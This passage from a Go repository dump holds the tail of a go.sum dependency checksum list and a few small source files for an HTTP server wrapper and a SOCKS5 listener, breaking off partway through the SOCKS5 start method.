h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= 594 | golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= 595 | golang.org/x/tools v0.1.1/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= 596 | golang.org/x/tools v0.1.2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= 597 | golang.org/x/tools v0.1.3/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= 598 | golang.org/x/tools v0.1.4/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= 599 | golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= 600 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 601 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 602 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 603 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 604 | google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= 605 | google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= 606 | google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= 607 | google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= 608 | google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= 609 | google.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= 610 | google.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= 611 | google.golang.org/api v0.17.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= 612 | google.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= 613 | google.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= 614 | google.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= 615 | google.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= 616 | google.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= 617 | google.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= 618 | google.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM= 619 | google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc= 620 | google.golang.org/api v0.35.0/go.mod h1:/XrVsuzM0rZmrsbjJutiuftIzeuTQcEeaYcSk/mQ1dg= 621 | google.golang.org/api v0.36.0/go.mod h1:+z5ficQTmoYpPn8LCUNVpK5I7hwkpjbcgqA7I34qYtE= 622 | google.golang.org/api v0.40.0/go.mod h1:fYKFpnQN0DsDSKRVRcQSDQNtqWPfM9i+zNPxepjRCQ8= 623 | google.golang.org/api v0.41.0/go.mod h1:RkxM5lITDfTzmyKFPt+wGrCJbVfniCr2ool8kTBzRTU= 624 | google.golang.org/api v0.43.0/go.mod h1:nQsDGjRXMo4lvh5hP0TKqF244gqhGcr/YSIykhUk/94= 625 | google.golang.org/api v0.47.0/go.mod h1:Wbvgpq1HddcWVtzsVLyfLp8lDg6AA241LmgIL59tHXo= 626 | google.golang.org/api v0.48.0/go.mod h1:71Pr1vy+TAZRPkPs/xlCf5SsU8WjuAWv1Pfjbtukyy4= 627 | google.golang.org/api v0.50.0/go.mod h1:4bNT5pAuq5ji4SRZm+5QIkjny9JAyVD/3gaSihNefaw= 628 | google.golang.org/api v0.51.0/go.mod h1:t4HdrdoNgyN5cbEfm7Lum0lcLDLiise1F8qDKX00sOU= 629 | google.golang.org/api v0.54.0/go.mod h1:7C4bFFOvVDGXjfDTAsgGwDgAxRDeQ4X8NvUedIt6z3k= 630 | google.golang.org/api v0.55.0/go.mod h1:38yMfeP1kfjsl8isn0tliTjIb1rJXcQi4UXlbqivdVE= 631 | google.golang.org/api v0.56.0/go.mod h1:38yMfeP1kfjsl8isn0tliTjIb1rJXcQi4UXlbqivdVE= 632 | google.golang.org/api v0.57.0/go.mod h1:dVPlbZyBo2/OjBpmvNdpn2GRm6rPy75jyU7bmhdrMgI= 633 | google.golang.org/api v0.59.0/go.mod h1:sT2boj7M9YJxZzgeZqXogmhfmRWDtPzT31xkieUbuZU= 634 | google.golang.org/api v0.61.0/go.mod h1:xQRti5UdCmoCEqFxcz93fTl338AVqDgyaDRuOZ3hg9I= 635 | google.golang.org/api v0.62.0/go.mod h1:dKmwPCydfsad4qCH08MSdgWjfHOyfpd4VtDGgRFdavw= 636 | google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= 637 | google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= 638 | google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= 639 | google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= 640 | google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= 641 | google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= 642 | google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= 643 | google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= 644 | google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= 645 | google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= 646 | google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= 647 | google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= 648 | google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= 649 | google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= 650 | google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8= 651 | google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= 652 | google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= 653 | google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= 654 | google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= 655 | google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= 656 | google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= 657 | google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA= 658 | google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 659 | google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 660 | google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 661 | google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 662 | google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 663 | google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 664 | google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 665 | google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 666 | google.golang.org/genproto v0.0.0-20200513103714-09dca8ec2884/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= 667 | google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U= 668 | google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= 669 | google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA= 670 | google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 671 | google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 672 | google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 673 | google.golang.org/genproto v0.0.0-20200904004341-0bd0a958aa1d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 674 | google.golang.org/genproto v0.0.0-20201109203340-2640f1f9cdfb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 675 | google.golang.org/genproto v0.0.0-20201201144952-b05cb90ed32e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 676 | google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 677 | google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 678 | google.golang.org/genproto v0.0.0-20210222152913-aa3ee6e6a81c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 679 | google.golang.org/genproto v0.0.0-20210303154014-9728d6b83eeb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 680 | google.golang.org/genproto v0.0.0-20210310155132-4ce2db91004e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 681 | google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= 682 | google.golang.org/genproto v0.0.0-20210402141018-6c239bbf2bb1/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A= 683 | google.golang.org/genproto v0.0.0-20210513213006-bf773b8c8384/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A= 684 | google.golang.org/genproto v0.0.0-20210602131652-f16073e35f0c/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= 685 | google.golang.org/genproto v0.0.0-20210604141403-392c879c8b08/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= 686 | google.golang.org/genproto v0.0.0-20210608205507-b6d2f5bf0d7d/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= 687 | google.golang.org/genproto v0.0.0-20210624195500-8bfb893ecb84/go.mod h1:SzzZ/N+nwJDaO1kznhnlzqS8ocJICar6hYhVyhi++24= 688 | google.golang.org/genproto v0.0.0-20210713002101-d411969a0d9a/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k= 689 | google.golang.org/genproto v0.0.0-20210716133855-ce7ef5c701ea/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k= 690 | google.golang.org/genproto v0.0.0-20210728212813-7823e685a01f/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48= 691 | google.golang.org/genproto v0.0.0-20210805201207-89edb61ffb67/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48= 692 | google.golang.org/genproto v0.0.0-20210813162853-db860fec028c/go.mod h1:cFeNkxwySK631ADgubI+/XFU/xp8FD5KIVV4rj8UC5w= 693 | google.golang.org/genproto v0.0.0-20210821163610-241b8fcbd6c8/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= 694 | google.golang.org/genproto v0.0.0-20210828152312-66f60bf46e71/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= 695 | google.golang.org/genproto v0.0.0-20210831024726-fe130286e0e2/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= 696 | google.golang.org/genproto v0.0.0-20210903162649-d08c68adba83/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= 697 | google.golang.org/genproto v0.0.0-20210909211513-a8c4777a87af/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= 698 | google.golang.org/genproto v0.0.0-20210924002016-3dee208752a0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= 699 | google.golang.org/genproto v0.0.0-20211008145708-270636b82663/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= 700 | google.golang.org/genproto v0.0.0-20211028162531-8db9c33dc351/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= 701 | google.golang.org/genproto v0.0.0-20211118181313-81c1377c94b1/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= 702 | google.golang.org/genproto v0.0.0-20211129164237-f09f9a12af12/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= 703 | google.golang.org/genproto v0.0.0-20211203200212-54befc351ae9/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= 704 | google.golang.org/genproto v0.0.0-20211206160659-862468c7d6e0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= 705 | google.golang.org/genproto v0.0.0-20211208223120-3a66f561d7aa/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= 706 | google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= 707 | google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= 708 | google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= 709 | google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= 710 | google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= 711 | google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= 712 | google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= 713 | google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= 714 | google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60= 715 | google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= 716 | google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= 717 | google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= 718 | google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= 719 | google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0= 720 | google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= 721 | google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= 722 | google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= 723 | google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= 724 | google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= 725 | google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= 726 | google.golang.org/grpc v1.37.1/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= 727 | google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= 728 | google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= 729 | google.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= 730 | google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= 731 | google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= 732 | google.golang.org/grpc v1.42.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= 733 | google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= 734 | google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= 735 | google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= 736 | google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= 737 | google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= 738 | google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= 739 | google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= 740 | google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= 741 | google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= 742 | google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= 743 | google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= 744 | google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= 745 | google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= 746 | google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= 747 | gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= 748 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 749 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 750 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 751 | gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= 752 | gopkg.in/ini.v1 v1.66.2/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= 753 | gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 754 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 755 | gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 756 | gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 757 | gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 758 | gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 759 | gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= 760 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 761 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 762 | honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 763 | honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 764 | honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 765 | honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 766 | honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= 767 | honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= 768 | honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= 769 | rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= 770 | rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= 771 | rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= 772 | -------------------------------------------------------------------------------- /Server/lib/component/doc.go: -------------------------------------------------------------------------------- 1 | package component 2 | -------------------------------------------------------------------------------- /Server/lib/component/server/http.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "context" 5 | "log" 6 | "net/http" 7 | "time" 8 | 9 | "github.com/gorilla/mux" 10 | ) 11 | 12 | type Http struct { 13 | Server http.Server // handles connections - implements ListenAndServe 14 | router *mux.Router 15 | 16 | // Tls options 17 | Cert string 18 | Key string 19 | } 20 | 21 | // NewSocksServer returns a new SocksServer 22 | func NewHttp(addr string) *Http { 23 | // HTTP Handler 24 | router := mux.NewRouter() 25 | 26 | return &Http{ 27 | Server: http.Server{ 28 | ReadTimeout: 10 * time.Second, 29 | Addr: addr, 30 | Handler: router, 31 | }, 32 | router: router, 33 | } 34 | } 35 | 36 | // Bind attach a handlerFunc to the router 37 | func (h *Http) Bind(pattern string, handler http.HandlerFunc) { 38 | h.router.HandleFunc(pattern, handler) 39 | h.Server.Handler = h.router 40 | } 41 | 42 | // Start starts the HTTP server 43 | func (h *Http) Start() error { 44 | log.Println("Start HTTP server", h.Server.Addr) 45 | 46 | if h.Cert != "" && h.Key != "" { 47 | return h.ListenAndServeTLS(h.Cert, h.Key) 48 | } else { 49 | return h.ListenAndServe() 50 | } 51 | } 52 | 53 | // ListenAndServe starts the HTTP server 54 | func (h *Http) ListenAndServe() error { 55 | return h.Server.ListenAndServe() 56 | } 57 | 58 | // ListenAndServeTls starts the HTTPS server 59 | func (h *Http) ListenAndServeTLS(certFile, keyFile string) error { 60 | return h.Server.ListenAndServeTLS(certFile, keyFile) 61 | } 62 | 63 | // Close closes the listener 64 | func (h *Http) Close() error { 65 | return h.Server.Shutdown(context.Background()) 66 | } 67 | -------------------------------------------------------------------------------- /Server/lib/component/server/server.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | // Server 4 | type Server interface { 5 | Start() error 6 | Stop() error 7 | } 8 | -------------------------------------------------------------------------------- /Server/lib/component/server/socks5.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "log" 5 | "net" 6 | ) 7 | 8 | // 9 | type Socks5 struct { 10 | addr string 11 | HandleCon ConnHandleFunc 12 | 13 | l net.Listener 14 | } 15 | 16 | // NewSocksServer returns a new SocksServer 17 | func NewSocks5(addr string) *Socks5 { 18 | return &Socks5{ 19 | HandleCon: DefaultConnHandler, 20 | addr: addr, 21 | } 22 | } 23 | 24 | // Bind binds the handleCon 25 | func (s *Socks5) Bind(handler ConnHandleFunc) { 26 | s.HandleCon = handler 27 | } 28 | 29 | // Start starts the socks server 30 | func (s *Socks5) Start() error { 31 | log.Println("Start Socks server", 